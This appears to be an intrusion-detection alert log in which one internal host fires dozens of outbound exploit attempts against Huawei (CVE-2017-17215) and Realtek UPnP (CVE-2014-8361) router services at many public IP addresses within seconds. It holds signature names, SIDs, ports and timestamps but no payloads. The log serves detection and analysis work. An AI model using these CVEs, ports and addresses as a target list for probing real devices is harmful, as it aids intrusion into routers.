ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 67.65.153.119

Timestamp:	07/20/24-23:10:39.202222
SID:	2027339
Source Port:	41184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.64.57.221

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	41130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 121.181.18.104

Timestamp:	07/20/24-23:10:51.995612
SID:	2831300
Source Port:	53512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.58.82

Timestamp:	07/20/24-23:10:59.004938
SID:	2829579
Source Port:	57470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.120.33

Timestamp:	07/20/24-23:10:56.011930
SID:	2829579
Source Port:	42534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.254.104.122

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	35022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.250.57.45

Timestamp:	07/20/24-23:10:59.004938
SID:	2835222
Source Port:	54808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.70.196

Timestamp:	07/20/24-23:10:41.228259
SID:	2829579
Source Port:	40016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 152.198.105.114

Timestamp:	07/20/24-23:10:43.810881
SID:	2025132
Source Port:	57330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 129.146.5.212

Timestamp:	07/20/24-23:10:51.955739
SID:	2831300
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.189.25

Timestamp:	07/20/24-23:10:59.035480
SID:	2835222
Source Port:	45380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.46.197.220

Timestamp:	07/20/24-23:10:51.957773
SID:	2027339
Source Port:	47926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.47.44.203

Timestamp:	07/20/24-23:10:47.771235
SID:	2027339
Source Port:	40886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.46.129.99

Timestamp:	07/20/24-23:10:52.564314
SID:	2835222
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.129.222.152

Timestamp:	07/20/24-23:10:41.689073
SID:	2835222
Source Port:	46970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.75.22.24

Timestamp:	07/20/24-23:10:42.254986
SID:	2829579
Source Port:	50434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 131.63.7.210

Timestamp:	07/20/24-23:10:52.004720
SID:	2027339
Source Port:	37340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 192.147.178.21

Timestamp:	07/20/24-23:10:46.611606
SID:	2027339
Source Port:	34226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.229.13

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	39482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.197.150.31

Timestamp:	07/20/24-23:10:51.984562
SID:	2027339
Source Port:	44820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 221.160.194.232

Timestamp:	07/20/24-23:10:44.688579
SID:	2025132
Source Port:	49946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.69.206.184

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	43098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.158.40.46

Timestamp:	07/20/24-23:10:46.795246
SID:	2829579
Source Port:	43948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.129.116

Timestamp:	07/20/24-23:10:59.050850
SID:	2835222
Source Port:	38294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.253.71.106

Timestamp:	07/20/24-23:10:52.540929
SID:	2835222
Source Port:	42110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.223.47.42

Timestamp:	07/20/24-23:10:41.228607
SID:	2829579
Source Port:	53106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.120.29.98

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	33812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.199.166

Timestamp:	07/20/24-23:10:56.002190
SID:	2829579
Source Port:	40040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.148.191.90

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	52342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.196.125.174

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	55708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.170.67.27

Timestamp:	07/20/24-23:10:43.191370
SID:	2027339
Source Port:	52400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.216.61.141

Timestamp:	07/20/24-23:10:59.004938
SID:	2835222
Source Port:	56882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.245.33.54

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.62.66.140

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	42846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.245.144

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	57118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 116.188.33.5

Timestamp:	07/20/24-23:10:52.006529
SID:	2831300
Source Port:	44144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.130.251

Timestamp:	07/20/24-23:10:39.474284
SID:	2835222
Source Port:	37790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 109.200.111.240

Timestamp:	07/20/24-23:10:51.897021
SID:	2831300
Source Port:	39128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 76.120.98.58

Timestamp:	07/20/24-23:10:51.984562
SID:	2027339
Source Port:	46822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.97.81

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	49752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.143.112

Timestamp:	07/20/24-23:10:42.266162
SID:	2835222
Source Port:	58630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.228.189

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	39514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.160.194.232

Timestamp:	07/20/24-23:10:51.966763
SID:	2027339
Source Port:	51428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 45.156.147.64

Timestamp:	07/20/24-23:10:45.231868
SID:	2025132
Source Port:	35292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 25.16.163.132

Timestamp:	07/20/24-23:10:51.905303
SID:	2831300
Source Port:	52046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 144.40.158.145

Timestamp:	07/20/24-23:10:44.016301
SID:	2025132
Source Port:	59544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.2.188

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	38824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.218.100.147

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	54308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 25.16.163.132

Timestamp:	07/20/24-23:10:43.244583
SID:	2027339
Source Port:	50864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 217.150.234.15

Timestamp:	07/20/24-23:10:51.966763
SID:	2831300
Source Port:	35352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 85.117.223.133

Timestamp:	07/20/24-23:10:41.227634
SID:	2835222
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 27.73.191.157

Timestamp:	07/20/24-23:10:48.599765
SID:	2027339
Source Port:	59432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 35.212.114.203

Timestamp:	07/20/24-23:10:52.005273
SID:	2831300
Source Port:	52650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.165.188.75

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.51.80.154

Timestamp:	07/20/24-23:10:52.571075
SID:	2829579
Source Port:	53658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.156.95.26

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	48434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.167.209

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	43442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 112.72.53.27

Timestamp:	07/20/24-23:10:51.902171
SID:	2831300
Source Port:	53964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.102.250

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	34006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.245.128

Timestamp:	07/20/24-23:11:03.365384
SID:	2835222
Source Port:	43214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 201.121.155.5

Timestamp:	07/20/24-23:10:51.967169
SID:	2027339
Source Port:	48142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.202.210

Timestamp:	07/20/24-23:10:56.073192
SID:	2829579
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.103.239.103

Timestamp:	07/20/24-23:10:39.430384
SID:	2835222
Source Port:	41284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.213.191.10

Timestamp:	07/20/24-23:10:51.992632
SID:	2027339
Source Port:	36096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.222.232.149

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	60600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.253.40

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	55794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 168.52.247.36

Timestamp:	07/20/24-23:10:47.436610
SID:	2025132
Source Port:	53568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 121.181.18.104

Timestamp:	07/20/24-23:10:47.731399
SID:	2025132
Source Port:	51258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 126.29.154.162

Timestamp:	07/20/24-23:10:51.915099
SID:	2027339
Source Port:	38146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.151.76.227

Timestamp:	07/20/24-23:11:03.310024
SID:	2829579
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.146.200.25

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 139.242.72.156

Timestamp:	07/20/24-23:10:52.549474
SID:	2835222
Source Port:	58564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.113.126.174

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	44442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 34.2.61.34

Timestamp:	07/20/24-23:10:51.948284
SID:	2027339
Source Port:	32966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.174.55.60

Timestamp:	07/20/24-23:10:46.735703
SID:	2829579
Source Port:	46766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 42.250.239.223

Timestamp:	07/20/24-23:10:52.010300
SID:	2027339
Source Port:	49654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 97.253.204.115

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	51938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.146.50

Timestamp:	07/20/24-23:10:56.002190
SID:	2829579
Source Port:	46568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.73.165.184

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.92.173.148

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	55730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.132.118

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	40196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 161.93.54.6

Timestamp:	07/20/24-23:10:51.950746
SID:	2831300
Source Port:	54044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.21.128.144

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	52860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.160.99

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.91.102

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	46580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 71.5.90.99

Timestamp:	07/20/24-23:10:51.950529
SID:	2831300
Source Port:	57804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 116.183.105.217

Timestamp:	07/20/24-23:10:47.935486
SID:	2025132
Source Port:	53352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.95.36.229

Timestamp:	07/20/24-23:10:48.679763
SID:	2027339
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.181.216.41

Timestamp:	07/20/24-23:10:45.247099
SID:	2027339
Source Port:	50042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.15.103.7

Timestamp:	07/20/24-23:11:03.361094
SID:	2829579
Source Port:	59526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.96.143.155

Timestamp:	07/20/24-23:10:46.829468
SID:	2835222
Source Port:	58720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 54.158.102.139

Timestamp:	07/20/24-23:10:51.944866
SID:	2027339
Source Port:	47052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.242.200.156

Timestamp:	07/20/24-23:10:51.969868
SID:	2027339
Source Port:	36862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.193.160.174

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	54138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.23.118.153

Timestamp:	07/20/24-23:10:46.734527
SID:	2829579
Source Port:	55890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.101.91.169

Timestamp:	07/20/24-23:10:51.992632
SID:	2831300
Source Port:	38926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.128.51.72

Timestamp:	07/20/24-23:10:56.039438
SID:	2829579
Source Port:	52930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.233.155

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	55684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 71.216.86.69

Timestamp:	07/20/24-23:10:52.062286
SID:	2831300
Source Port:	43460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 178.155.139.110

Timestamp:	07/20/24-23:10:43.830203
SID:	2025132
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.28.237

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

